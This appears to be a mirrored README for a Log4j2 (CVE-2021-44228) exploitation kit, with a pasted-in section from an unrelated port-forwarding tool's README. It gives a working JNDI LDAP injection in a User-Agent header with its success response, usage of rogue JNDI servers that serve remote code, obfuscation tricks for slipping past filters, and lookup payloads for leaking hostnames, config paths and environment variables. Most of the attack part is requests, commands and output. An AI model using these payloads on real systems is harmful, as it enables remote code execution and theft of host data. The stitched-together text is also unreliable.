#### Burpsuite Send
![image](https://assets.kitploit.com/production/public/readmes/27364/c8f80dfb5b50445abf55c366292513968c627410ab802b186adf16fa3aca6fa6.png)```
POST /login HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

data=xxxxx

#### User-Agent Injection

![image](https://assets.kitploit.com/production/public/readmes/27364/eeedb546d688e4818c31ce602cf4a7adc2185b0c2c6358f94245d5a4f0d768a8.png)```bash
GET / HTTP/1.1
Host: 192.168.3.105:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=reference} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.3.105:18080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 200 
Content-Type: image/avif;charset=UTF-8
Content-Length: 26
Date: Tue, 14 Dec 2021 13:08:14 GMT
Connection: close

User-Agent Inject Success!

![image](https://assets.kitploit.com/production/public/readmes/27364/2a3d328707c5306328060f8e845b6f23ac7f6dce228cd7be927ffa6f9b7cbdf4.png)


### Fix log4j2 Tips By Default Properites

The default Map is pre-populated with the value of **hostName**, which is the hostname or IP address of the current system.

Reference document: https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-configuration.html

`org.apache.logging.log4j.core.LoggerContext#setConfiguration`

![image](https://assets.kitploit.com/production/public/readmes/27364/9fb94039e50269ee8eab64ca5aa55f4c49b49c3866f9e70c7a07f99e2d724ec7.png)
![image](https://assets.kitploit.com/production/public/readmes/27364/27d44e1476aa42e54c0ac15b81e22fa90368074182719725006e222da41a7019.png)```
${hostName}
${env:COMPUTERNAME}
${env:USERDOMAIN}
${env:LOGONSERVER}

![image](https://assets.kitploit.com/production/public/readmes/27364/d5d12da6717eb79ff6a0e087da0f753f7db00fdba4d9f78206bba3a74ee1f30c.png)


### log4j for configLocation

log4j: Log4j configuration properties.

The expressions `${log4j:configLocation}` and `${log4j:configParentLocation}` provide the `absolute path` of the `log4j configuration file` and its `parent folder`, respectively.```
${log4j:configLocation}

/xxx/apache-tomcat/webapps/xxxx/WEB-INF/classes/log4j2.xml

### JNDIExploit-Tools

01-feihong-cs/JNDIExploit

https://github.com/feihong-cs/JNDIExploit

usage:```java

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip -p 8082                                                                                                                                         
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8082...

03-veracode-research/rogue-jndi

https://github.com/veracode-research/rogue-jndi

usage:```java

$ java -jar target/RogueJndi-1.1.jar --command "calc" --hostname "vip_ip"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://vip_ip:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://vip_ip:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://vip_ip:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://vip_ip:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

### iox

<center>
    <img src="https://img.shields.io/badge/-iox-black?style=for-the-badge&amp;logo=iCloud&amp;logoColor=white">
</center>

**English** | [Chinese](https://github.com/jas502n/log4j2-cve-2021-44228/blob/main/doc/README_CN.md)

**Toolbox for TCP-Socks5/HTTP/HTTPS port forwarding, intranet proxy and brokering**

- Port forwarding between two machines :fire:
- Intranet proxy, forward locally :fire: 
- Intranet proxy, forward remotely :fire:
- Inter machine traffic brokering :fire:

> **Warning**: The current repository is only a mirror, latest code at [https://git.app/ab/iox](https://git.app/ab/iox).

---

#### Fuck you GFW (Great Firewall of China)

Why `iox`?

Because you see the letters "i", "o", "x" in the word "GFW". "GFW" is a highly intelligent, sophisticated, and advanced censorship tool that requires its people to use intranet to protect themselves.

---

#### Features

- Traffic encryption (optional)
- Human-computer interaction
- Back-end daemon mode
- Cross-platform
- IPV6 support
- Simple traffic statistics

---```xml
// Expression Language 3.0.0 API-Apr, 2013

<!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
<dependency>
    <groupId>javax.el</groupId>
    <artifactId>javax.el-api</artifactId>
    <version>3.0.0</version>
</dependency>

// Apache Groovy 3.0.0: A powerful, dynamic language for the JVM

<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy -->
<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>3.0.0</version>
</dependency>

https://github.com/woodpecker-appstore/log4j-payload-generator

![image](https://assets.kitploit.com/production/public/readmes/27364/81f17b5d9f29327be04b968ec17bc0804ac4e40a062a57fc4664371ff838c055.png)


#### log4j-::

Example:```

${::-n}
2021-12-14 11:08:49.287 ERROR 31355 --- [io-18080-exec-4] c.e.l.Log4jRceApplication : >>> n

${xxx::-n}
2021-12-14 11:07:24.785 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> n

${:xxx:-n}
2021-12-14 11:08:18.012 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-n}
2021-12-14 11:11:10.135 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-jndi}
2021-12-14 11:10:43.420 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> jndi

**org.apache.logging.log4j.core.lookup.LowerLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)**```java
package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.plugins.Plugin;
@Plugin(
    name = "lower",
    category = "Lookup"
)
public class LowerLookup implements StrLookup {
    public LowerLookup() {
    }
    public String lookup(final String key) {
        return key != null ? key.toLowerCase() : null; // toLowerCase()
    }
    public String lookup(final LogEvent event, final String key) {
        return this.lookup(key);
    }
}

#### log4j-upper```java
this.strLookupMap.put("upper", new UpperLookup());

Example:```java
data=${upper:jndi}
2021-12-14 10:08:29.286 ERROR 31355 --- [io-18080-exec-8] c.e.l.Log4jRceApplication                : >>> JNDI

public String getHardware() {
    return "processors: " + Runtime.getRuntime().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist");
}

public String getLocale() {
    return "default locale: " + Locale.getDefault() + ", platform encoding: " + this.getSystemProperty("file.encoding");
}

public String getOperatingSystem() {
    return this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model");
}

public String getRuntime() {
    return this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor");
}

private String getSystemProperty(final String name) {
    return this.spLookup.lookup(name);
}

public String getVirtualMachine() {
    return this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")";
}

##### log4j2-env

###### Linux:```properties
CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_

| id   | usage |
| ---- | ----- |
|1|${env:A8_HOME}|
|2|${env:A8_ROOT_BIN}|
|3|${env:ALLUSERSPROFILE}|
|4|${env:APPDATA}|
|5|${env:CATALINA_BASE}|
|6|${env:CATALINA_HOME}|
|7|${env:CATALINA_OPTS}|
|8|${env:CATALINA_TMPDIR}|
|9|${env:CLASSPATH}|
|10|${env:CLIENTNAME}|
|11|${env:COMPUTERNAME}|
|12|${env:ComSpec}|
|13|${env:CommonProgramFiles}|
|14|${env:CommonProgramFiles(x86)}|
|15|${env:CommonProgramW6432}|
|16|${env:FP_NO_HOST_CHECK}|
|17|${env:HOMEDRIVE}|
|18|${env:HOMEPATH}|
|19|${env:JRE_HOME}|
|20|${env:Java_Home}|
|21|${env:LOCALAPPDATA}|
|22|${env:LOGONSERVER}|
|23|${env:NUMBER_OF_PROCESSORS}|
|24|${env:OS}|
|25|${env:PATHEXT}|
|26|${env:PROCESSOR_ARCHITECTURE}|
|27|${env:PROCESSOR_IDENTIFIER}|
|28|${env:PROCESSOR_LEVEL}|
|29|${env:PROCESSOR_REVISION}|
|30|${env:PROMPT}|
|31|${env:PSModulePath}|
|32|${env:PUBLIC}|
|33|${env:Path}|
|34|${env:ProgramData}|
|35|${env:ProgramFiles}|
|36|${env:ProgramFiles(x86)}|
|37|${env:ProgramW6432}|
|38|${env:SESSIONNAME}|
|39|${env:SystemDrive}|
|40|${env:SystemRoot}|
|41|${env:TEMP}|
|42|${env:TMP}|
|43|${env:ThisExitCode}|
|44|${env:USERDOMAIN}|
|45|${env:USERNAME}|
|46|${env:USERPROFILE}|
|47|${env:WORK_PATH}|
|48|${env:windir}|
|49|${env:windows_tracing_flags}|
|50|${env:windows_tracing_logfile}|


###### Mac:```properties
ANT_HOME,COMMAND_MODE,GOBIN,GOPATH,GOROOT,GRADLE_HOME,HOME,HOMEBREW_BOTTLE_DOMAIN,JAVA_HOME,JAVA_MAIN_CLASS_3651,LC_CTYPE,LESS,LOGNAME,LSCOLORS,LaunchInstanceID,OLDPWD,PAGER,PATH,PWD,SECURITYSESSIONID,SHELL,SSH_AUTH_SOCK,TIME_STYLE,TMPDIR,USER,VERSIONER_PYTHON_VERSION,XPC_FLAGS,XPC_SERVICE_NAME,ZSH,__CF_USER_TEXT_ENCODING